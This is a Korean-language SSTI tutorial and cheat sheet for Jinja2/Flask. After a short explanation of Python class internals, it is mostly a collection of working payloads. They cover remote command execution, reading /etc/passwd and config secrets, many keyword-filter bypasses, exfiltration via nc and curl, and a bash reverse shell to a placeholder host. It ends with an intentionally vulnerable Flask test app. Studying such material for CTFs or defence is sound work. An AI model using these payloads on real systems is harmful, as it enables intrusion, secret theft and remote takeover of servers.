0. Server-Side Template Injection
SSTI(Server Side Template Injection)은 공격자가 서버측 템플릿 구문을 통한 악성 페이로드를 페이지에 삽입하여 실행되도록 하는 공격기법이다.
간단한 예시를 통해 이해해보자.
<html>
...
<body>
...
{value}
...
</body>
...
</html>
위의 코드가 template engine에서 처리 되어 value 파라미터에 "Hello world"가 전달된다면 아래와 같이 치환된다.
<html>
...
<body>
...
<p> Hello world </p>
...
</body>
...
</html>
이 때, 임의의 실행 가능한 코드를 넘겨준 경우, 서버측에서 실행 과정을 거친 후 결과가 반환된다.
예를 들면 7*7 이라는 식이 49라는 값으로 반환되어 사용자에게 출력된다.
{{7*7}} # output: 49
SSTI에 사용되는 페이로드 형태는 Template Engine 마다 차이가 있다.
0.1. Template Engine 이란..?
Template Engine은 웹 템플릿과 웹 컨텐츠 정보를 처리하는 목적으로 설계된 소프트웨어를 뜻한다.
웹 서버를 구축할 때 코드에 자주 보이는 {{ content }} , {% content %} 이러한 형식으로 되어있는 대부분이 템플릿 엔진을 사용하기 위해 작성된 템플릿 구문이다.
웹 템플릿 엔진 종류 를 살펴보면 되게 많은 언어들과 템플릿 엔진들이 있는것을 볼 수 있다.
{{7*7}} , ${7*7} , .. 등과 같이 Template Engine에 따라 치환되는 표현이 달라, Template Engine에 따라 페이로드 형태가 달라진다.
하지만 기본 원리와 구성은 비슷하므로, 원리를 이해한다면 다른 Template Engine에서도 응용이 가능하다.
1. SSTI for Jinja2
<!DOCTYPE html>
<html lang="en">
<head>
<title>My Webpage</title>
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
<h1>My Webpage</h1>
{{ a_variable }}
{# a comment #}
</body>
</html>
위 코드는 jinja2 템플릿을 사용하는 기본적인 예시이다.
{% 반복문/분기문(for,if) %} // control structure {% %}
{{ 값 출력 }} // Variable value {{ }}
{# 주석 #} // notes {# #}
위와 같이 사용할 수 있다.
1.1. Background Knowledge
1.1.1. Builtin Filters
Flask Jinja2 템플릿에서 사용할 수 있는 기능 중 Builtin Filters 가 존재한다.
{% debug %} # list all variables
{{ object | listme }} # same with dir(object)
{{ object | getme:"asdfasdf"} # load object.asdfasdf
1.1.2. Class in Python
- instance.__class__ : 인스턴스(객체)가 속한 클래스 반환
> 인스턴스(객체) a에 대하여 __class__ 속성은 type() 메소드의 역할과 비슷하다.
> ( a.__class__ == type(a) ) - object : 파이썬에서 기본적인 클래스
- type : 파이썬에서 기본적인 메타클래스
- type(객체) : 클래스 이름
- type(클래스 이름) : type
class A:
name = "helloworld"
a = A()
print(a.__class__) # Output: <class '__main__.A'>
print(type(a)) # Output: <class '__main__.A'>
SSTI 페이로드를 작성할 때 아래와 같은 표현을 자주 볼 수 있을 것이다.
''.__class__ # Output: <class 'str'>
'' 는 str 타입의 객체로, __class__ 속성을 통해 확인해보면 str 클래스(본체)를 확인할 수 있다.
1.1.3. Base
파이썬은 다중상속 언어로, 동시에 여러 개의 클래스를 상속 받을 수 있다.
직접 상속 받은 클래스들은 __base__ 혹은 __bases__ 를 통해 확인할 수 있다.
- class.__bases__ : 클래스 객체의 베이스 클래스 튜플
- class.__base__ : 클래스 객체의 베이스 클래스 튜플 중 제일 처음
- ( class.__mro__[1] , class.__bases__[0] 과 동일 )
class A: # 기본 클래스 정의
name="My name is A"
class B(A): # A 클래스를 상속받음
name="My name is B"
class C(A): # A 클래스를 상속받음
name="My name is C"
class D(B, C): # B, C 클래스를 상속받음
name="My name is D"
>>> A.__bases__
# Output: (<class 'object'>,)
>>> B.__bases__
# Output: (<class '__main__.A'>,)
>>> C.__bases__
# Output: (<class '__main__.A'>,)
>>> D.__bases__
# Output: (<class '__main__.B'>, <class '__main__.C'>)
1.1.4. MRO (Method Resolution Order)
직역하자면 메소드 결정 순서.
Python 다중 상속 기능을 이용할 때 발생할 수 있는 문제(다이아몬드 상속문제)를 해결하기 위해 만든 속성이다.
다이아몬드 상속문제
똑같은 메소드를 가진 부모 클래스를 상속하여 실행 순서를 알 수 없는 경우 발생하는 문제
- class.__mro__ : 자신과 자신이 상속받은 클래스, 상속받은 클래스의 상위 클래스까지 순서대로 튜플 타입으로 반환한다.
- class.mro() : __mro__ 속성과 비슷하지만, 리스트 타입으로 반환하는 함수이다.
class Human:
def say(self):
print("who am i")
class Mother(Human):
def say(self):
print("Mother")
class Father(Human):
def say(self):
print("Father")
class Son(Mother, Father):
def say(self):
print("Son")
>>> Son.__mro__
# Output: (<class '__main__.Son'>, <class '__main__.Mother'>, <class '__main__.Father'>, <class '__main__.Human'>, <class 'object'>)
>>> Son.mro()
# Output: [<class '__main__.Son'>, <class '__main__.Mother'>, <class '__main__.Father'>, <class '__main__.Human'>, <class 'object'>]
MRO 함수 또는 속성을 이용하여 해당 객체가 상속받은 클래스를 확인할 수 있다. 따라서 MRO 를 이용하여 SSTI Jinja2 페이로드를 작성할 수 있다.
__bases__ vs __mro__
base는 직접 상속받은 클래스들의 튜플이고, mro는 상속받은 모든 클래스들의 튜플임
1.1.5. __dir__ vs dir() vs __dict__
- dir(instance) : 어떤 객체 또는 클래스를 인자로 넣어주면 해당 객체가 어떤 변수와 메소드(method)를 가지고 있는지 리스트 형태로 반환한다.
- 인자가 없는 경우, 현재 지역 스코프에 있는 이름들의 리스트를 돌려준다.
- 객체에 __dir__() 메소드가 정의되어 있으면 이 메소드를 호출하고, 반드시 Attribute 리스트를 반환해야한다.
- instance.__dir__() :
- instance.__dict__ : __dir__과 비슷하지만 인스턴스(객체) 내부에 어떤 속성이 있는지 딕셔너리 형태로 반환한다.
1.1.6. Other objects and methods of Python
__dict__: Save the class instance or object instance attribute variable key value pair dictionary
__class__: Returns a class belonging to an instance
__MRO__: Returns a base class group containing the object, and the method is parsed in the order of the tuple when parsing.
__bases__: Returns a class directly inherited in a tuple form (can be understood as direct parent class)
__base__: The same is probably the same, all of which returns the class inherited by the current class, the base class, the difference is Base to return a single, Bases return is a tuple group
// __base__ and __mro__ are used to find the base class
__subclasses__: Returns the subclass of the class with a list
__INIT__: Initialization Method for Class
__globals__: Quote for dictionaries containing function global variables
__builtin __ && __ builtins__: Python can run some functions, such as int (), list (), and so on.
These functions can be found in __builtin__. View method is DIR (__ builtins__)
In PY3 __builtin__ is replaced with Builtin
1. In the main module main, __ builtins__ is a reference to the built-in module __builtin__ itself, ie __builtins__ completely equivalent to __builtin__.
2. Non-main module main, __ builtins__ is only a reference to __builtin __.__ dict__, not __builtin__ itself
1.2. SSTI Scenario in Jinja2 Templates
{{ 7*7 }}
#49
{{ ''.__class__ }}
#<class 'str'>
{{ ''.__class__.__mro__ }}
#(<class 'str'>, <class 'object'>)
{{ ''.__class__.__mro__[1].__subclasses__() }}
#[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, ...
{{ ''.__class__.__mro__[1].__subclasses__()[245:] }}
#[<class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, ...
{{ ''.__class__.__mro__[1].__subclasses__()[245] }}
#<class 'subprocess.Popen'>
{{ ''.__class__.__mro__[1].__subclasses__()[245]('id',shell=True,stdout=-1).communicate() }}
#uid=0(root) gid=0(root) groups=0(root)
{{ ''.__class__.__mro__[1].__subclasses__()[245]('cat flag',shell=True,stdout=-1).communicate() }}
#FLAG{Wargame_SSTI_Problem}
System 명령어를 실행시킬 수 있는 함수(Ex: system(), eval(), popen(), file(), open(), ...)를 가지고 있는 클래스(Ex: os, __builtins__, ...)를 찾는 방법
아래와 같이 전형적인 클래스 상속 구조를 잡아두고 원하는 모듈 또는 클래스를 찾는다.
# SSTI Class Finder
def find_os():
search = 'os' # Can also be other modules you want to use
num = -1
for i in ''.__class__.__base__.__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
input()
except:
pass
def find_builtins():
search = '__builtins__'
num = -1
for i in ().__class__.__base__.__subclasses__():
num += 1
try:
print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i, num)
input()
except:
pass
find_builtins()
1.3. Cheat Sheet
1.3.1. Base Objects
Flask Jinja2 Template 에서 사용할 수 있는 몇 가지 base object 가 존재한다.
Base Objects 를 사용하려면 해당 객체에 대해 미리 정의가 되어있어야 한다.
# Ex)
rv.globals.update(
url_for=url_for,
get_flashed_messages=get_flashed_messages,
config=self.config,
# request, session and g are normally added with the
# context processor for efficiency reasons but for imported
# templates we also want the proxies in there.
request=request,
session=session,
g=g,
)
이를 이용한 SSTI Payload 작성은 다음과 같은 형태로 가능하다.
# Usages
{{OBJECT.__class__.mro().__subclasses__()}}
{{OBJECT.__class__.__mro__[1].__subclasses__()}}
{{OBJECT.__class__.__base__.__subclasses__()}}
위 페이로드에 활용할 수 있는 Base Object 는 아래와 같다.
Base Objects List
g
request
get_flashed_messages
url_for
config
{{ config.items() }}
{{ config['secret_key'] }}
application
self
cycler
{{ cycler.__init__.__globals__.os.popen('id').read() }}
joiner
{{ joiner.__init__.__globals__.os.popen('id').read() }}
namespace
{{ namespace.__init__.__globals__.os.popen('id').read() }}
1.3.2. Filtering Keyword config Bypass
# config가 필터링 되는 경우
{{ self.__dict__ }}
{{ self['__dict__']}}
{{ self|attr("__dict__") }}
{{ self|attr("con"+"fig")}}
{{ self.__getitem__('con'+'fig') }}
{{ request.__dict__ }}
{{ request['__dict__']}}
{{ request.__getitem__('con'+'fig') }}
1.3.3. Filtering _ . [ ] Bypass
# Basic Example
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
# "_" Filtering: "|attr()" & "\\x5f" or "['']" & "\\x5f"
# "_" == "\\x5f"
# \\x5f, \\137, \\u005F, \\U0000005F, request.args.get('under') 등 사용
=> {{""|attr("\\x5f\\x5fclass\\x5f\\x5f")|attr("\\x5f\\x5fmro\\x5f\\x5f")[1]|attr("\\x5f\\x5fsubclasses\\x5f\\x5f")()}}
=> {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
# "." Filtering: "|attr()" or "['']"
=> {{""|attr("__class__")|attr("__mro__")[1]|attr("__subclasses__")()}}
# "[", "]" Filtering: "__getitem__()" or "pop()"
=> {{"".__class__.__mro__.__getitem__(1).__subclasses__()}}
=> {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}
=> {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()}}
1.3.4. Filtering Bypass Using Flask request module
만약 특정 키워드를 막지만 request 객체 사용을 막지 않는 경우
request.args , request.cookies, request.headers , request.form 를 이용하여 키워드를 쉽게 우회할 수 있는 방법이 있다.
# Using Request Get Parameter
<http://127.0.0.1:8080/?ssti=>{{ request|attr(request.args.get('class')|attr(request.args.get('mro'))|attr(request.args.get('getitem'))(1) }}&class=__class__&mro=__mro__&getitem=__getitem__
<http://127.0.0.1:8080?ssti=>{{ request|attr(request.form.get('class'))|attr(request.form.get('mro'))|attr(request.form.get('getitem'))(1) }}
<http://127.0.0.1:8080?ssti=>{{ request|attr(request.cookies.get('class'))|attr(request.cookies.get('mro'))|attr(request.cookies.get('getitem'))(1) }}
<http://127.0.0.1:8080?ssti=>{{ request|attr(request.headers.get('class'))|attr(request.headers.get('mro'))|attr(request.headers.get('getitem'))(1) }}
1.3.5. Filtering Specific Keyword Bypass
만약 class, mro, subclasses, base 등 특정 키워드가 필터링 되는 경우에는 Jinja2 템플릿 엔진에 내장 함수로 들어있는 attr 함수를 사용하거나 [] 대괄호를 이용하여 문자열로 메서드를 호출할 수 있다.
# class, mro, subclass 등 문자열 필터링 시 다음과 같이 문자열 더하기로 나타내면 우회가 가능하다.
{{ ''['__cl'+'ass__']['__m'+'ro__'][0]['__subcla'+'sses__']() }}
{{ ''|attr('__cl'+'ass__')|attr('__m'+'ro__')[0]|attr('__subcla'+'ssess__')() }}
{{ ''['_'*2+'class'+'_'*2]['_'*2+'mro'+'_'*2][0]['_'*2+'subclasses'+'_'*2]() }}
{{ ''|attr('_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_')|attr('_'+'_'+'m'+'r'+'o'+'_'+'_')[1]|attr('_'+'_'+'s'+'u'+'b'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+'_'+'_')() }}
# 문자열 필터링과 "+" 문자까지 필터링하고 있는 경우 다음과 같이 우회가 가능하다.
{{ ''['__cl''ass__']['__m''ro__'][0]['__subcla''sses__']() }}
# Python Builtins 필터인 |join을 이용하여 우회가 가능하다.
# {{['Thi','s wi','ll b','e appended']|join}} == {{ 'This will be appended' }}
{{ ''|attr(["__","class","__"]|join)|attr(["__","mro","__"]|join)[0]|attr(["__subcla","sses__"]|join)()}}
# |format 이용
<http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}>}&f=%s%sclass%s%s&a=_
# base64 인코딩을 이용한 우회
{{ ().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read() }}
# [::-1] 을 이용한 문자열 역순 우회
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
{{ ().__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['lave'[::-1]]("__import__('os').system('whoami')") }}
# ascii hex
{{ ''['\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f'] }}
# ascii otc
{{ ''['\\137\\137\\143\\154\\141\\163\\163\\137\\137'] }}
# 16bit unicode
{{ ''['\\u005F\\u005F\\u0063\\u006c\\u0061\\u0073\\u0073\\u005F\\u005F'] }}
# 32bit unicode
{{ ''['\\U0000005F\\U0000005F\\U00000063\\U0000006c\\U00000061\\U00000073\\U00000073\\U0000005F\\U0000005F'] }}
# quotation mark(", ')를 필터링 하고있는 경우
# 1. CHR function
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
# 2. Request object
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
# 3. Command execution
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
1.3.6. Filtering {{ , }} Bypass
Jinja2 Template Engine 구문 중 하나인 {% %} 를 이용한다. (Blind SSTI)
{% if(config.__class__.__init__.__globals__['os'].popen('ls | nc 127.0.0.1 8080')) %}{% endif %}
{% for i in range(0,500) %} {% if(((''.__class__.__mro__[1].__subclasses__()[i])|string) == "<class 'subprocess.Popen'>") %} {% if(''.__class__.__mro__[1].__subclasses__()[i]('ls | nc 127.0.0.1 8080', shell=True, stdout=-1)) %} {% endif %} {% endif %} {% endfor %}
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat /etc/passwd | nc HOSTNAME 1337')['read']() == 'chiv' %} a {% endif %}
# HackerPC: $ nc -lvnp 1337
# Output: root:x:0:0:root:/root:/bin/bash ... (cat /etc/passwd Output)
# CURL 을 이용한 출력값 획득 방법
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl <http://127.0.0.1:7999/?i=`whoami`').read()=='p>' %}1{% endif %}
#
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //Popen's parameters are the command to be executed
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
1.3.7. Read/Write Remote File
# [40]: # File Class
# read file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# read file using config class
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# <https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398>
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
# write file & excute malicious code in .cfg
### evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\\n\\nRUNCMD = check_output\\n') }}
### load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
### connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
1.3.8. Remote Code Execution
# [109] : <class 'codecs.IncrementalDecoder'>
{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}
# [273] : <class 'subprocess.Popen'>
{{"".__class__.__base__.__subclasses__()[273]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
# attr & . 혼용하는 방법
{{ (config|attr("__class__")).__init__.__globals__['os'].popen('cat flag').read() }}
# flask request 모듈을 이용한 RCE 1 (os.popen)
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
# flask request 모듈을 이용한 RCE 2 (os.system())
{{ request.application.__globals__.__builtins__.__import__['os'].system('ls | nc 127.0.0.1 8080') }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{{ url_for.__globals__.__builtins__.eval('__import__("os").popen("ls").read()') }}
# [68], [73]: <class 'site._Printer'>, <class 'site.Quitter'>
{{ ().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami') }}
{{ ().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami') }}
{{ ().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami') }}
{{ ().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami') }}
# [140]: <class 'warnings.catch_warnings'>
{{ ().__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')") }}
1.3.9. Jinja2 SSTI Payloads References
1.4. Simple Testing Example
기본적인 SSTI를 실습하기 위한 환경은 아래와 같은 파이썬 코드를 이용하면 된다.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Bienvenue!"
if __name__ == "__main__":
app.run(debug=False)
쿼리스트링으로 c 라는 파라미터를 입력받는다. 해당 파라미터에 SSTI 공격 구문을 입력하면서 실습해 볼 수 있다.
또한 실제 웹서비스를 구축하여 SSTI 공격을 진행해 볼 수 있는 환경 세팅은 아래의 github을 참고하면 된다.
https://github.com/dohunny/SSTI-Research-and-Analysis.git
1.5. Official Information References
- Python Special Attributes References
- Jinja2 Built-in Functions References
2. References
- https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)
- https://me2nuk.com/SSTI-Vulnerability/
- https://blog.nvisium.com/p255
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- Python 클래스 & 상속 개념
https://gungadinn.github.io/2019/07/05/dataCampus/ - https://programmerall.com/article/63332190593/
- https://blog.ch4n3.kr/436
- https://www.fatalerrors.org/a/0dhx1Dk.html